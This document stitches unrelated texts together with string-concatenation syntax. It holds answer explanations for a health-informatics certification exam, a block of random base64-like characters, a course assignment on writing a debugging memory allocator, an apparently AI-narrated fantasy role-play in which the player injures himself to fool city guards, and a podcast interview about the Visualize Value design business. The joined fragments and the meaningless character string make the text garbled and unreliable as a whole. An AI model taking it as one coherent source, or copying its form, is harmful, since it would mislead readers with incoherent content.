ANSWER IS C. There are many approaches to managing change, but all include the formation of a group of leaders to spearhead the mission. Effective change requires buy-in from all stakeholders. If rank and file employees are unaware of the ultimate goals of the change, they are less likely support the process. Similarly, if employees are not empowered to make decisions, the entire process will slow down whenever it encounters a new variable. Short term wins should be in line with the corporate vision, but should not be used to define the vision. The vision should already be in place before short term wins are achieved. (REF 4.6.3 Change Management Strategies)\n242\nTHE ANSWER IS A. Operational expenses (opex) are usually funded with cash flow. Capital budgets are funded with retained earnings, debt or equity. (REF 4.5.5. Capital and operating budgeting)\n243\nTHE ANSWER IS B. The OSI model contains seven layers. The lowest layer is the physical layer, such as network cabling. The highest level is the application level. In the middle are levels for networking, authentication, session management, presentation and other technologies. (REF 3.1.3 - Networks)\n244\nTHE ANSWER IS D. The project charter is the output from the initiating phase of integration management. Note that it is not necessary to know that we are talking about integration management, because the only other activity in the initiating phase is identification of stakeholders. HR Planning and the creation of the project team is done in the HR knowledge area. Both procurements and creating the team are part of the execution phase. (REF: Section 4.4.1 Project Management Basics)\n245\nTHE ANSWER IS D. A/B testing presents users with two alternatives and measures their acceptance. It can be done on a large scale (such as with web sites) or a smaller scale with individual interviews. (REF: Section 3.2.2 - HCI Evaluation)\n246\nTHE ANSWER IS A. The distinction between conflict management and conflict resolution is that conflict management seeks to preserve the positive aspects of conflict while conflict resolution seeks to remove the conflict entirely. The other choices are all true, but do not reflect the difference between resolution and management. (REF: 4.1.4 Conflict Management)\n247\nTHE ANSWER IS D. Keystroke-Level Model is a type of HCI analysis that focuses on how the keyboard and mouse are utilized. Mental preparation is considered part of the action. Sketching would not be included in this kind of analysis. (REF: Section 3.2.1 Models, theories, and practices of HCI)\n248\nTHE ANSWER IS C. In a double-blind study, neither the investigator nor the subject knows which study arm they are in. The other choices may represent also represent flaws. (REF: Section 2.2.1 - Evidence Sources)\n249\nTHE ANSWER IS D. A method paper (also called an application paper) describes a novel technique or procedure. Choices A and C represent case reports. Choice B is probably original research. (REF: Section 2.2.1 - Evidence Sources)\n250\nTHE ANSWER IS A. CDS has shown benefits in diagnosis, treatment guidelines, clinical pathway adherence. Unfortunately, data on patient outcomes, physician efficiency and errors in data entry are lacking. (REF: 2.1.3 - Application of CDS)' +'this returns a long string:\n\n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' +"Context on DMalloc:\nAssignment Roadmap\nThis section describes the main functionality required for the debugging allocator, ordered from simpler to more complex and from low-numbered to high-numbered tests.\n\nStatistics\nIn the stencil code there is a function print\\_statistics() that uses the information stored in a statistics struct to print out statistics about all the memory allocations so far.\n\nThe statistics struct is defined as follows (see dmalloc.hh):\n\nstruct dmalloc\\_stats {\n unsigned long long nactive; // number of active allocations [#malloc - #free]\n unsigned long long active\\_size; // number of bytes in active allocations\n unsigned long long ntotal; // number of allocations, total\n unsigned long long total\\_size; // number of bytes in allocations, total\n unsigned long long nfail; // number of failed allocation attempts\n unsigned long long fail\\_size; // number of bytes in failed allocation attempts\n uintptr\\_t heap\\_min; // smallest address in any region ever allocated\n uintptr\\_t heap\\_max; // largest address in any region ever allocated\n}; \nIt is up to you to fill in the function get\\_statistics(statistics \\*stats) so that accurate information is stored in an instance of dmalloc\\_stats. To do this, think about using a global variable that holds a struct and which any calls to dmalloc() and dfree(ptr) update.\n\nTask: Implement the get\\_statistics function in dmalloc.cc.\n\nHints!\nMost of these statistics are easy to track, and you should tackle them first (start by passing tests 1-5 and 7-10).\n\nThe trickier test is active\\_size. To track this information, your dfree(ptr) implementation must find the number of bytes allocated for the block pointed to by ptr. This is because after a block is freed, active\\_size should decrease by the size of that block.\n\nThe easiest, and probably best, way to do this is for your dmalloc code to request more space than the user required when it calls base\\_malloc. This extra space will allow you to store metadata about the allocated block alongside it. This metadata can store a structure you define yourself, and it should keep track of the allocated block size. As you write your debugging allocator, you may realize you want to store other information as well. The metadata will be stored at the beginning of an allocated block, but dmalloc should still return a pointer to the “payload” of the block, i.e., to the space after the metadata. You will need to use pointer arithmetic to return a pointer that points somewhere just beyond the metadata. In dfree(ptr), the ptr argument then must be a pointer to the payload of a block (because that’s what dmalloc returned before), but you can use pointer arithmetic again to access the metadata stored just before ptr to access the block’s size. Consider what bugs might emerge when adding metadata near your allocated block and how you might resolve them!\n\nQuick reminders on pointer arithmetic:\n\nYou can use the function sizeof() to get the size of a datatype.\nbase\\_malloc returns a void\\*, which is a pointer without a type. Before you can do pointer arithmetic, you will need to cast the void\\* pointer to have a type. However, dmalloc should still return a void\\*.\nWhen you incremement a pointer, the pointer’s address will jump ahead by the size of the pointer’s datatype.\nRun make check to run the test programs. Specifically, test001 through test011 should pass when you are done with this section.\n\nInteger overflow protection\nYour debugging malloc library also needs to be robust against integer overflow attacks. Integer overflow occurs when you try to allocate a number of bytes that is too large. For example, the size\\_t type of the first argument to dmalloc is a type alias for an unsigned long data type, which is comprised of 8 bytes. When you compute the number of bytes to request and it exceeds the maximum possible integer, the value of the size\\_t wraps around to 0. Consider, for example, the calloc function in the stencil code, think about how overflow could occur, and then fix it.\n\nTask: Implement the overflow protection in dmalloc() and dcalloc().\n\ntest012 through test015 should pass after this is done correctly. Make sure that test015 succeeds on the grading server too; if you get a test timeout on the grading server, your overflow checks are not quite right.\n\nInvalid free and double-free detection\ndfree(ptr) should print an error message and then call C’s abort() function when ptr does not point to active dynamically-allocated memory. There are several cases when this might occur.\n\nThe test programs define the desired error message format. Here’s our error message for test016:\n\nMEMORY BUG: test016.cc:8: invalid free of pointer 0xffffffffffffffe0, not in heap\nError messages should be printed to standard error (using C’s fprintf(stderr, ...)). Different error situations require different error messages; the other test programs define the required messages.\n\nTask: Check for invalid and double frees in dfree() and print an appropriate error message.\n\nHints!\nptr needs to point somewhere on the heap. How are you tracking the allocated space on the heap?\n\nYou need to catch double frees (when free is called on the same pointer twice)! How can you determine whether or not a block is freed?\n\nptr must be a pointer to the beginning of an allocated memory block, not just any address on the heap. Knowing your metadata header should be stored in memory right before ptr, how can you guarantee you are actually accessing a header?\n\nDon’t be afraid to store more information in your metadata!\n\ntest016 through test024 should pass after this is done correctly.\n\nBoundary write error detection\nA boundary error is when a program reads or writes memory beyond the actual dimensions of an allocated memory block.\n\nA debugging memory allocator can’t detect boundary read errors, but it can detect many boundary write errors. Your dfree(ptr) should print an error message and call abort() if it detects that the memory block associated with ptr suffered a boundary write error.\n\nTask: Check for boundary write errors in dfree() and print an appropriate error message.\n\nHints!\nAs a strategy for detecting boundary write errors, consider adding data with a known (“secret”) value around the boundaries of your allocation, and then check that value in appropriate places.\n\nNo debugging allocator can reliably detect all boundary write errors. For example, consider this:\n\nint\\* array = (int\\*) malloc(10 \\* sizeof(int));\nint secret = array[10]; // save boundary value\narray[10] = 1384139431; // boundary write error\narray[10] = secret; // restore old value! dmalloc can’t tell there was an error!\nOr this:\n\nint\\* array = (int\\*) malloc(10 \\* sizeof(int));\narray[200000] = 0; // a boundary write error, but very far from the boundary!\nWe’re just expecting your code to catch common simple cases where the user writes one or more bytes directly after the allocated block.\n\ntest025 through test027 should pass after this is done correctly. Note that test 27 and following invoke undefined behavior (and make assumptions about the compiler’s choices for it) in order to test your implementation. You don’t need to pass these and the higher-numbered tests with sanitizers enabled.\n\nMemory leak reporting\nA memory leak happens when code allocates a block of memory, but then forgets to free it. Memory leaks are not as serious as other memory errors, particularly in short-running programs. They don’t cause a crash, and the operating system always reclaims all of a program’s memory when the program exits. But in long-running programs, such as your browser or the operating system itself, memory leaks have serious effect and are important to avoid.\n\nFill in the print\\_leak\\_report() function such that, when called, it prints a report about every allocated object in the system. This report should list every object that has been allocated via dmalloc but not freed using dfree. Print the report to standard output (not standard error). A report should look like this:\n\nLEAK CHECK: test033.cc:23: allocated object 0x9b811e0 with size 19\nLEAK CHECK: test033.cc:21: allocated object 0x9b81170 with size 17\nLEAK CHECK: test033.cc:20: allocated object 0x9b81140 with size 16\nLEAK CHECK: test033.cc:19: allocated object 0x9b81110 with size 15\nLEAK CHECK: test033.cc:18: allocated object 0x9b810e0 with size 14\nLEAK CHECK: test033.cc:16: allocated object 0x9b81080 with size 12\nLEAK CHECK: test033.cc:15: allocated object 0x9b81050 with size 11\nA programmer will use this leak checker by calling print\\_leak\\_report() before exiting the program, after freeing all allocated dynamic memory they recall. Any missing frees will show up in the leak report!\n\nTask: Implement print\\_leak\\_report().\n\nHints!\nThere are multiple ways to do this. Here are some things that might be helpful:\n\nstd::pair – a C++ object that contains two data elements (similar to a tuple with two members).\n\nstd::map – C++ key-value map. You will need to add #include at the top of dmalloc.cc to use this.\n\nmap::begin – returns an iterator referring to the first element in the map container.\n\nstd::unordered\\_map – C++ key-value hash map. You will need to add #include at the top of dmalloc.cc to use it. If you get strange and scary compiler errors when using this data structure, it’s likely because the compiler doesn’t know how to hash your key type. Check out this guide for more information.\n\ntest028 through test030 should pass after this is done correctly.\n\nAdvanced reports and checking\nThis is the home stretch!\n\nTo make your debugger even more robust, you should print better information and defend against more complex invalid frees. You will need to read the test code and understand what is being tested to defend against it.\n\nUpdate your invalid free message. After determining that a pointer is invalid, your code should check whether the pointer is inside a different allocated block. This will use the same structures you created for the leak checker. If the invalid pointer is inside another block, print out that block, like so:\n\nMEMORY BUG: test031.cc:10: invalid free of pointer 0x833306c, not allocated\n test031.cc:9: 0x833306c is 100 bytes inside a 2001 byte region allocated here\nAlso make sure your invalid free detector can handle more diabolical situations. What situations? Check the test code to find out!\n\nTask: If an invalid free occurs within an already allocated block print an appropriate error message.\n\ntest031 through test033 should pass after this is done correctly.\n\nPerformance and C++ integration\nFinally, test programs 34 to 39 test other situations that allow you to check that your debugging allocator is efficent and compatible with C++ style memory alocation (not just C style memory allocation).\n\ntest034 calls dmalloc 500,000 times, supplying tens of thousands of different filename/line-number pairs. Ideally, your solution should run test034 in a second or less.\n\nTask: Meet the performance requirement!\n\nAll tests should pass after this is done correctly! :tada:\n\nNote: C++ introduces a new paradigm for dynamic memory allocation with the new and delete keywords. These keywords are designed to work with C++ classes, but under the hood they work simply by using malloc and free respectively.\n\n---\n\n7. Project 2: DMalloc (4 points)\nQUESTION 7A. Like your DMalloc implementation, the standard C malloc implementation also stores metadata with each allocation. Below, we show you a slightly simplified version of that metadata, which stores the size of each allocation and whether that allocation has been freed in a header:\n\n[Malloc Memory Diagram, showing that before the payload in each malloc allocation, there is data on the size of the allocation and a flag representing whether this allocation has been freed.]\n\nDescribe two memory errors that can occur using malloc’s metadata implementation, but not using DMalloc's. Explain how your DMalloc implementation fixes these problems." +'OK then. Part 1 (remember not to attempt to rewrite until all three parts have been posted):\n\nLong, long ago the land of Erosia was a mecca for the creative people\'s of the known world. Whether artist, muse, or patron, those with a passion for art and beauty, flocked to Erosia, starting their lives anew and with each new arrival transforming the city into an ever-changing and infinitely rich tapestry of the most creative minds in all the world. But, long before The Great Schism shattered the world, Erosia had succumbed to the darker side of passion transforming into the darkest land in all the world.\n\nThis is the story of The Patron and the Three Sisters.\n\nWelcome to the land of Erosia, a land filled with danger and pleasure at every turn. You find yourself standing at the entrance to the bustling city of Tenebris, its towering walls and bustling markets stretching out before you. As you step forward, the sounds of merchants hawking their wares and the smells of exotic spices and roasting meats fill your senses.\n\nSuddenly, a group of rough-looking thugs steps out from an alleyway, brandishing crude weapons and sneering at you menacingly. It seems they have mistaken you for an easy target. What will you do?\n\nYou approach the group of thugs and ask if they know who you are. They sneer at you and one of them responds, "Why should we care who you are? You\'re just some idiot wandering around our turf."\n\nTheir hostile response suggests that they have no knowledge of your identity or any reason to treat you differently. You may need to rely on your own skills and cunning to navigate this dangerous world. What will you do next?\n\nIt\'s clear these thugs mean to harm me and I see no clear route of escape without a fight. Pulling my daggars, I wade into the midst of the thugs deftly swinging and slashing with a daggar in each hand.\nYou pull out your daggers and charge towards the thugs, determined to fight your way out of this situation. The thugs step forward to meet your challenge, their crude weapons clashing against your sharp blades.\n\nYour movements are swift and precise, and you quickly begin to take down the thugs one by one. They fight back fiercely, but your skill with the daggers allows you to dodge and parry their attacks while striking back with deadly accuracy.\n\nThe fight is brutal and intense, but you emerge victorious, leaving the thugs lying battered and bruised on the ground. As you catch your breath and wipe the sweat from your brow, you hear the sound of approaching guards. It seems someone has reported the fight, and the city\'s authorities are on their way.\n\nYou must decide quickly - will you make a run for it, or face the consequences of your actions and explain yourself to the guards? The choice is yours.\n\nThinking quickly I laugh at the thugs lying on the ground. Then I bash my head against a neaby slash my forearm several times with superficial cuts, turn and run full speed into a nearby stone wall knocking myself out.\nYour plan is risky, but you act quickly, laughing at the thugs before slamming your head against the nearby wall and cutting your arm with your dagger. You turn and run full speed towards a nearby stone wall, slamming into it with all your might.\n\nThe impact is jarring, and you feel yourself slipping into unconsciousness as the guards arrive on the scene. They quickly assess the situation, seeing the thugs lying on the ground and your prone form against the wall. One of them approaches you cautiously, checking for any signs of life.\n\nFortunately, your ruse has worked, and the guards are convinced that you were attacked by the thugs and knocked unconscious in the struggle. They quickly call for medical help and carry you to safety, while the thugs are hauled off to prison.\n\nYou awake some time later in a hospital bed, your head throbbing with pain and your arm bandaged. You realize that you\'ve narrowly escaped a close call, and must be more careful in the future. The world of Erosia is full of dangers and surprises, and you\'ll need all your wits and skills to survive.\n\nAs I come to in the hospital bed, my eyes finally gain focus revealing a beautiful young healer leaning over my bed tending to the lump on my head.\nYou come to in the hospital bed, your vision slowly clearing to reveal a beautiful young healer leaning over you, tending to the lump on your head. She looks up as she notices you stirring, her eyes sparkling with concern.\n\n"Thank the gods you\'re awake," she says softly. "You took quite a hit to the head back there. How are you feeling?"\n\nYou groan softly, feeling the ache in your head and the throbbing pain in your arm. But despite the pain, you can\'t help but be captivated by the healer\'s beauty and gentle touch.\n\nAs she finishes tending to your wounds, she introduces herself as Isadora, and explains that she\'s one of the healers at the hospital. She asks if you need anything, and you can\'t help but feel a twinge of attraction as you gaze into her kind eyes.\n\nWhat will you do next? Will you try to get to know Isadora better, or focus on your mission in Erosia?\n\nget to know her better\nYou find yourself drawn to Isadora\'s gentle nature and charming personality. As she finishes tending to your wounds, you strike up a conversation, eager to learn more about her.\n\nAs you talk, you discover that she is not only a skilled healer, but also a talented artist and musician. She tells you of her dreams of one day opening her own gallery, and you find yourself admiring her passion and drive.\n\nYou continue to talk long into the night, sharing stories and learning about each other\'s lives. You can\'t help but feel a strong connection to Isadora, and as the night wears on, you realize that you don\'t want to leave her side.\n\nAs dawn approaches, Isadora bids you farewell, promising to visit you again soon. You watch her leave, feeling a sense of loss as she disappears from view.\n\nBut despite the bittersweet feeling, you know that you\'ve made a valuable connection in Erosia, one that may prove useful in the days to come. As you lay back in your hospital bed, you think about the adventures that await you, and the people you\'ll meet along the way.\n\ncontinue\nWith Isadora on your mind, you set out to explore more of the city of Tenebris, eager to see what adventures and secrets it holds. As you wander the bustling streets and markets, you encounter a variety of characters - from wealthy merchants to dangerous criminals, and everything in between.\n\nOne merchant catches your eye, selling exotic spices and rare ingredients from far-off lands. You strike up a conversation with him, and he tells you of a powerful alchemist who lives deep in the mountains, known for his ability to create potions of incredible strength and potency. If you can retrieve some of his rare ingredients, he promises to reward you handsomely.\n\nFurther down the street, you come across a group of thieves, their eyes glinting with mischief as they plot their next heist. You approach them cautiously, hoping to learn more about their plans and perhaps gain their trust.\n\nAs you talk with the thieves, you realize that they are planning to rob a wealthy nobleman\'s estate, known for its lavish parties and priceless treasures. If you can help them pull off the heist, they promise to cut you in on the profits.\n\nYou must decide where your loyalties lie, and what risks you\'re willing to take. Will you aid the alchemist in his quest for rare ingredients, or team up with the thieves and pull off the heist of a lifetime? The choice is yours.\n\nI continue to walk through the market looking for a buyer of gemstones.\nAs you make your way through the bustling market, you keep your eyes peeled for any potential buyers of gemstones. It doesn\'t take long before you spot a wealthy-looking merchant, his stall adorned with all manner of jewels and precious stones.\n\nYou approach him cautiously, taking care not to draw too much attention to yourself. You reveal the gemstones you have in your possession, explaining their value and rarity. The merchant takes a look at them, his eyes glittering with greed.\n\nAfter a brief negotiation, you strike a deal with the merchant, agreeing to sell the gemstones for a generous sum of gold. With the transaction complete, you leave the market feeling richer and more powerful than ever before.\n\nBut as you make your way through the city, you begin to realize that wealth and power are not the only things that matter in this dangerous world. The choices you make, the alliances you form, and the risks you take - these are the things that will define you in the end.\n\nAnd so you continue on your journey through Erosia, ready for whatever challenges and adventures await you next. Whether it\'s aiding the alchemist, teaming up with the thieves, or something else entirely, you\'re ready to take on the world, one step at a time.' +'try again: "Jack: Sure. So my background is in graphic design. Studied graphic design in Cardiff in the UK, graduated in 2010, and then got into my agency career. Interned in London at a couple of little boutique design agencies, moved to New York shortly after--maybe six months after I started working in London. Was fortunate enough to...I pinged about 150 emails to Craigslist: "Classified ads, graphic design interns," and I got one response. Turned that into my first real job, so got sponsored and came out to the States. Spent about 18 months there, [which are] tiny little boutique design agency working on small little branding projects. They had a couple big clients like Ralph Lauren, but all very traditional graphic design stuff. Then I bounced around New York for eight years. Just different agency jobs--design, art direction--working...just slowly getting more and more digital as the industry did, like building apps, designing websites, and then digital marketing and all its various forms.\n\nAlex: Sure.\n\nJack: And in 2017, I was like, "Okay, I\'ve got enough lay of the land now. I\'ve experienced all these different agency environments," definitely with a tinge of like mid twenties arrogance, or late twenties arrogance. I was like, "I\'ll just go and do this by myself."\n\nAlex: Yeah.\n\nJack: So I set up an agency, managed to get a client from one of my old agencies that was essentially unable to pay the rates of a massive 11,000 person agency. So I had a friend who intro-ed me, got the LLC set up and kind of managed to leverage that first introduction into the agency itself. So I didn\'t just start it and then go looking for business; it kind of came off the back of having this introduction. And did that for about nine months. It was a huge automotive brand, so obviously massive expectations in what you have to produce, and how many times you\'d answer the phone, and how many emails you need to respond to, and in certain compressed periods of time. The expectation they have of working with big agencies, you have to sort of fill that vacuum immediately.\n\nAlex: Right.\n\nJack: So the choice becomes, "Okay, do I try and scale this business up in a more efficient way than all of these massive agencies that I\'ve worked at before? Do I really think that\'s my skill set? Am I good at building companies of scale," and obviously I had no experience doing that, "or am I more interested in doing the creative work?" And so I just iterated on the agency model, essentially. So that first iteration was me hiring out freelancers for every job and managing people--essentially just an administrator, I wasn\'t doing much of the creative work myself. And then Visualize Value came about as kind of a response to how fast that model burned me out. It was just too much admin and nonsense and things of that nature. So Visualize Value actually began as a... I suppose you could describe it as a really focused design studio with a very slim set of deliverables. So we would be helping businesses that had something intangible to articulate tell their story visually--whether that\'s a pitch deck, whether that\'s a bunch of visuals that they on their sales team [went] with, whether it\'s a story they want to tell on social, whether it\'s something they want to animate...But essentially all the deliverables came out looking similar. And if you\'ve seen Visualized Value, it\'s just vector shapes, typography, black color. And then as a lead [generator] for that business, I just started posting ideas or visualizing ideas that are more broadly useful than a supply chain or a hedge fund algorithm that I was doing for client work as the the demonstration of the type of work that I could do for someone. And that brought in enough consulting and one-on-one design work that eventually it hit a ceiling of time. Again, you have that same decision to make, "Do I hire people? Do I train people to do this, or do I figure out a different model to deliver this idea to the world?" And then that\'s when I started experimenting with product. So canvases originally--you know, selling art of the design pieces themselves--and then a book, and then a couple education products, and we have the merch now. And it\'s just kind of grown different branches and tentacles over time, and it does a little bit of everything now, but the main thesis of it is to try and distill complex ideas visually and help people get a better grasp on ideas that ...for the most part, you\'re focused on the small business or the entrepreneur. That\'s the perspective that I was looking at it from. And that\'s where I asked basically, "How is evaluating this advice..is this something that I\'ve used or have I found useful? I\'m just going to kind of consume that, wrap it up in a different way and put it back out into the world in a way that helped me remember it." And then momentum built up from there. \n\nAlex: Yeah. Yeah, I think there\'s a lot there that\'s really cool. I think for me, it just, initially... it really struck the chord of what...if you\'re scrolling on Twitter, if you\'re scrolling on Instagram, and if you are a person who thinks this way of wanting to build business or wanting to improve yourself or improve your life, it was just so digestible in a way. And I think a lot of that is because of how simplified it really made it --so like these quotes or these big ideas, I love that there is this very simplified visual aspect that kind of tells of [an] even clearer picture of the full story of something. But I think a lot of the power in what you\'ve built is that simplicity, like what you had mentioned briefly is it\'s basically a black background with white lines and white text, basically. It\'s very simplified. I\'m curious, I know that boundaries in creative work are one of the most powerful things and constraints. How did you decide on those constraints and why do you think that they\'re so powerful and useful in this context? \n\nJack: Yeah, so I\'ve tried to retroactively figure this out. I think a lot of it has to do with agency experience and being forced into the constraint that a brand would give you. So if you\'re working on American Express for 12 months, it\'s like, here\'s a typeface you have, here\'s a color palette you have, and here\'s the guidelines for how far text needs to be away from the edge of the, whatever it is you\'re working on. And I think that that\'s a subconscious muscle you develop, which is building assets or building a series or doing a series of work that is... you can tell a different story or you can make a different point, but they\'re all visually related. They have a relationship to one another, and the obvious reason for that in the world of big brands is because you want to conjure that association between the message and the brand. So every time someone encounters it, it\'s just sort of like...I imagine it as filling in a...like a map of misunderstanding, right? It\'s like you get that point, and then you see another message, but because it has this visual anchor that was the same, it\'s like, "Okay, I\'m filling in another gap in my understanding." That\'s one very philosophical way to look at it. \n\nAlex: Yeah.\n\nJack: And then the more practical way to look at it is, you don\'t waste a ton of time staring at a blank canvas, like "what typeface am I going to use here? What color goes with this? What style choices should I make?" And some of the early iterations of... it, wasn\'t called Visualize Value at the time, but I ran a business with a friend of mine before Visualize Value called Trust Accelerator, which was a productized podcast service, basically. So if you\'re a small business and you don\'t have time to hire, or you don\'t have the budget to hire a full-on production team for a podcast, you just record an hour of audio, drop it into Google Drive, and then we\'ll turn it into...produce podcasts and article three clips and five visuals a week. And I was basically designing a brand for every single one of those podcasts and then using those brand constraints to drive the assets on a weekly basis. And seeing people\'s response to that was another... it clicked in my mind that "Okay, I don\'t need to reinvent the wheel visually here every time." It\'s more about what I\'m doing with these elements that I\'ve decided to use, and that actually becomes the creative constraints. So you\'re forcing the creativity back on yourself. So you\'re not spending 80% of your energy making stylistic decisions. You\'re actually spending your energy making logical decisions or conceptual decisions. So that, I think, creates a really interesting ...I think you could apply it to any craft, right? If you\'re cooking a meal and you only have X in the kitchen, then you have to get incredibly creative to make that good or interesting or whatever else. And I think it\'s been a happy accident to some degree, but once you see it working, you\'re like "Okay, I\'m going to stick with the happy accident." \n\nAlex: Right.\n\nJack: And the more I think about introducing new elements, the more I\'m like, "Well, why am I actually...Is that something I\'m doing to satiate myself? Or am I actually running out of ideas here? Or am I just wandering off the proven path?" So it\'s worked so far. We\'ll see. \n\nAlex: Yeah. 